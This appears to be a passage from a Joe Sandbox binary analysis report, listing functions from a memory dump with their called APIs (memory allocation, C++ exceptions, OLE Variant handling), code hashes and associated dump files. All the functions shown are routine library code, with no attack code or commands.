Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaise_malloc_memsetstd::exception::_
String ID:
API String ID: 2530845297-0
Opcode ID: 1de59f10220eb2b8ac6229c6d983c68d4d231f3771c672f0783748b80fb1f797
Instruction ID: 4b1f842264fc6fc38ee4b7b61339e664c016188ed27e2b1a61d758472875dbc7
Opcode Fuzzy Hash: 1de59f10220eb2b8ac6229c6d983c68d4d231f3771c672f0783748b80fb1f797
Instruction Fuzzy Hash: B7718B755087059FCB04DF18D89099AB7F8FF89364F508A6EF8558B390EB30EA15CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BD4B0 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0BD5E4
__CxxThrowException@8.LIBCMT ref: 6F0BD5F9
std::exception::exception.LIBCMT ref: 6F0BD608
__CxxThrowException@8.LIBCMT ref: 6F0BD61D

Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C04
Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C1E
Part of subcall function 6F109BB5: __CxxThrowException@8.LIBCMT ref: 6F109C2F

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: c56de9418336f37ff120311184143ad5cb6db7ad9329a5696690c6f034b63c67
Instruction ID: d77cafb837895c0a1234a6239417326182d54a24c295b0176d7bf9e6c19b8c3b
Opcode Fuzzy Hash: c56de9418336f37ff120311184143ad5cb6db7ad9329a5696690c6f034b63c67
Instruction Fuzzy Hash: 37513AB1A01649AFCB04DFA8C980A89FBF4FB08314F50826EE41997781D771F964CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C5F00 Relevance: 6.1, APIs: 4, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0C6035
__CxxThrowException@8.LIBCMT ref: 6F0C604A
std::exception::exception.LIBCMT ref: 6F0C6059
__CxxThrowException@8.LIBCMT ref: 6F0C606E

Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C04
Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C1E
Part of subcall function 6F109BB5: __CxxThrowException@8.LIBCMT ref: 6F109C2F

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: 6683f6eaa858b8e6c8914fed7c6380f03830c02b2f3f0c9c00a22c5b1faeef00
Instruction ID: f224f098763922476d33dfb947df4eae75f4e69cb20bfecf19175502de9c7c82
Opcode Fuzzy Hash: 6683f6eaa858b8e6c8914fed7c6380f03830c02b2f3f0c9c00a22c5b1faeef00
Instruction Fuzzy Hash: 4C513AB1A00709AFC714CFA8C980A99BBF4FF09354F50826AE419D7B81D771F964CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BDE50 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0BDE81
VariantClear.OLEAUT32(?), ref: 6F0BDF3C
VariantClear.OLEAUT32(?), ref: 6F0BDF6D
VariantClear.OLEAUT32(?), ref: 6F0BDF8B

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Clear$Init
String ID:
API String ID: 3740757921-0
Opcode ID: 9511547a9c8237a610d19729d4c8a18d8b99de9584948165f3d97a9b12d0f4a4
Instruction ID: 9eca52a012ab67db1dc74f4084036d1d6c6ecd0c2f1c00f5106c3167c358eee5
Opcode Fuzzy Hash: 9511547a9c8237a610d19729d4c8a18d8b99de9584948165f3d97a9b12d0f4a4
Instruction Fuzzy Hash: 26419A322096019FD700DF69C840B5AF7E6FF89760F044A6EF9549B350D732E805CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C5DB0 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0C5E87
__CxxThrowException@8.LIBCMT ref: 6F0C5E9C
std::exception::exception.LIBCMT ref: 6F0C5EAB
__CxxThrowException@8.LIBCMT ref: 6F0C5EC0

Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C04
Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C1E
Part of subcall function 6F109BB5: __CxxThrowException@8.LIBCMT ref: 6F109C2F

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: 0b45a1c54174df9a473f44be3277d9acdbc9e1286a1a5be09c1b5b242932b57e
Instruction ID: 10344265e88af0f13c3238c830a1dfb714129ca4238da2345653c06287165308
Opcode Fuzzy Hash: 0b45a1c54174df9a473f44be3277d9acdbc9e1286a1a5be09c1b5b242932b57e
Instruction Fuzzy Hash: 3F4149B19007489FC724CFA9C980A9AFBF4FB08344F40896EE85AA7781D771F504CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BD360 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0BD437
__CxxThrowException@8.LIBCMT ref: 6F0BD44C
std::exception::exception.LIBCMT ref: 6F0BD45B
__CxxThrowException@8.LIBCMT ref: 6F0BD470

Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C04
Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C1E
Part of subcall function 6F109BB5: __CxxThrowException@8.LIBCMT ref: 6F109C2F

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: 02fc3a200d16b49eb58df2604ef650383e4c5b7226df89d0fd602e01c07679ca
Instruction ID: 86c60990deab85053d36fdda1a5c588c4890032f43e006ba290e1dff743ef31c
Opcode Fuzzy Hash: 02fc3a200d16b49eb58df2604ef650383e4c5b7226df89d0fd602e01c07679ca
Instruction Fuzzy Hash: 924149B19007489FC724CFA9D880A8AFBF4FB09344F40896EE85A97741D771F504CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CB580 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(6F1202A0), ref: 6F0CB5D5
VariantInit.OLEAUT32(?), ref: 6F0CB5E2
VariantClear.OLEAUT32(?), ref: 6F0CB685
VariantClear.OLEAUT32(6F1202A0), ref: 6F0CB68B

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: 844716851f9537c2a455dfab51bdc36dda5d06f5d5f8fcac1c79f70bcde0890a
Instruction ID: c33ccbbfd0104db94bed730253be17ef226a7a472c96c4b8180c11991a7003b5
Opcode Fuzzy Hash: 844716851f9537c2a455dfab51bdc36dda5d06f5d5f8fcac1c79f70bcde0890a
Instruction Fuzzy Hash: 3D416272A00209AFDB10DFA9C940B9AF7F9FF89354F20419AE904A7351D735F941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CDC40 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 6F0CDCC5

Part of subcall function 6F109533: std::exception::_Copy_str.LIBCMT ref: 6F10954E

__CxxThrowException@8.LIBCMT ref: 6F0CDCDA

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0CDD09
__CxxThrowException@8.LIBCMT ref: 6F0CDD1E

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaise_mallocstd::exception::_
String ID:
API String ID: 399550787-0
Opcode ID: 79aae93f61964d6ba89e60c0e035fc804e4e3c91fca09fcd80c76619d8f79c96
Instruction ID: 5ea616dde9281e53959f639fdef804ee47062c39dbaece26c47743dc717a4757
Opcode Fuzzy Hash: 79aae93f61964d6ba89e60c0e035fc804e4e3c91fca09fcd80c76619d8f79c96
Instruction Fuzzy Hash: B6314FB6D00309AFD704DF99D890A9EBBF9BF44350F40856EE91997350DB70EA14CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F112645 Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6F112653

Part of subcall function 6F109D66: __FF_MSGBANNER.LIBCMT ref: 6F109D7F
Part of subcall function 6F109D66: __NMSG_WRITE.LIBCMT ref: 6F109D86
Part of subcall function 6F109D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,6F109BD4,6F0A1290,F3D820D6), ref: 6F109DAB

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 810f152a4b7d1f32e2b0503a479169ee7cd2e96b954989935aee1c0d84be91bf
Instruction ID: 49ce3ec5a7d2a3107a6ff4782d5bc904bdd0848c906bcfa8f9b01b6355c7f945
Opcode Fuzzy Hash: 810f152a4b7d1f32e2b0503a479169ee7cd2e96b954989935aee1c0d84be91bf
Instruction Fuzzy Hash: 4F11A332549B54ABCB21BF75A804A5D37A9AF573F5B110536EC489A2D0DF30E8B0CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C5A70 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0C5AB9
VariantCopy.OLEAUT32(?,6F139C90), ref: 6F0C5AC1
VariantClear.OLEAUT32(?), ref: 6F0C5AE2
__CxxThrowException@8.LIBCMT ref: 6F0C5AEF

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ClearCopyException@8InitThrow
String ID:
API String ID: 3826472263-0
Opcode ID: 1a3e63e35a022ae3fe23ae617eb751b45fc9220b2baa719390cd0b5f237d7152
Instruction ID: c34c0f8395542e53c15ca089885834df2a3f570bad17dbdc68783e47c0bbca8c
Opcode Fuzzy Hash: 1a3e63e35a022ae3fe23ae617eb751b45fc9220b2baa719390cd0b5f237d7152
Instruction Fuzzy Hash: 8411B476904668BFCB00DF9D8884ADEBBB8FB45664F11422AE814A3240C77469008BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0D31D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 213COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6F0D32BC

Strings

i7o, xrefs: 6F0D322C, 6F0D3274, 6F0D3340
i7o, xrefs: 6F0D31DB, 6F0D320B, 6F0D3253, 6F0D3285, 6F0D3346

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: _malloc
String ID: i7o$i7o
API String ID: 1579825452-979133862
Opcode ID: 9e6e6c13673dfb3ef1140b33c24a090336ca68d80c69b29319332861010688af
Instruction ID: 86e581f0f505c58c773f263d1cacfd1a25c0fa4c766b4ea992f0ec086df443b3
Opcode Fuzzy Hash: 9e6e6c13673dfb3ef1140b33c24a090336ca68d80c69b29319332861010688af
Instruction Fuzzy Hash: E6819F71A043099FDB04CF58C681B9EBBF1BF48314F1981A9E829AB351DB74F985CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6F0AF190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6F0A4760: __CxxThrowException@8.LIBCMT ref: 6F0A47F9

Part of subcall function 6F0D8D80: _malloc.LIBCMT ref: 6F0D8D8A
Part of subcall function 6F0D8D80: _malloc.LIBCMT ref: 6F0D8DAF

_memcpy_s.LIBCMT ref: 6F0AF282
_memset.LIBCMT ref: 6F0AF293

Strings

@, xrefs: 6F0AF2DE

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: _malloc$Exception@8Throw_memcpy_s_memset
String ID: @
API String ID: 3081897325-2766056989
Opcode ID: ecedddb18d0c10869a7e143908c77816b9b3f4b429d49677717db7b0c7912e32
Instruction ID: 602a07c9012d1069cfe442d010f6d3f881cf22cd6cd2e73bc4e548e3158f6e49
Opcode Fuzzy Hash: ecedddb18d0c10869a7e143908c77816b9b3f4b429d49677717db7b0c7912e32
Instruction Fuzzy Hash: 4D519D75D00348EFDB10DFA4C990BDEBBB4BF55308F108199D84967281DB726A49CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0A4E80 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6F0A4EFC
std::_Xinvalid_argument.LIBCPMT ref: 6F0A4F16

Part of subcall function 6F0A4D90: std::_Xinvalid_argument.LIBCPMT ref: 6F0A4DA9
Part of subcall function 6F0A4D90: std::_Xinvalid_argument.LIBCPMT ref: 6F0A4DCA
Part of subcall function 6F0A4D90: std::_Xinvalid_argument.LIBCPMT ref: 6F0A4DE5

Strings

string too long, xrefs: 6F0A4EF7, 6F0A4F11

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: string too long
API String ID: 909987262-2556327735
Opcode ID: 8170b638eb73495811cdb0787f2329c0a34c9c2f7d54602d45f4bb9bbf3ef1f7
Instruction ID: 7f3f2e3be07afc07308d04c3a9029c760a0c9584a13b0d2ebbb87a41b60b5fb1
Opcode Fuzzy Hash: 8170b638eb73495811cdb0787f2329c0a34c9c2f7d54602d45f4bb9bbf3ef1f7
Instruction Fuzzy Hash: F5312B3E300200ABD724DDECE450B6EF7EAFFD5660B50452FE4558B6A2CF32A8408791

Uniqueness

Uniqueness Score: -1.00%

Function 6F0A18C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 6F0A4010: std::_Xinvalid_argument.LIBCPMT ref: 6F0A402A

__CxxThrowException@8.LIBCMT ref: 6F0A194F

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

std::exception::exception.LIBCMT ref: 6F0A198E

Part of subcall function 6F1095C1: std::exception::operator=.LIBCMT ref: 6F1095DA

Part of subcall function 6F0A4010: std::_Xinvalid_argument.LIBCPMT ref: 6F0A4067

Strings

Clone() is not implemented yet., xrefs: 6F0A18ED

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
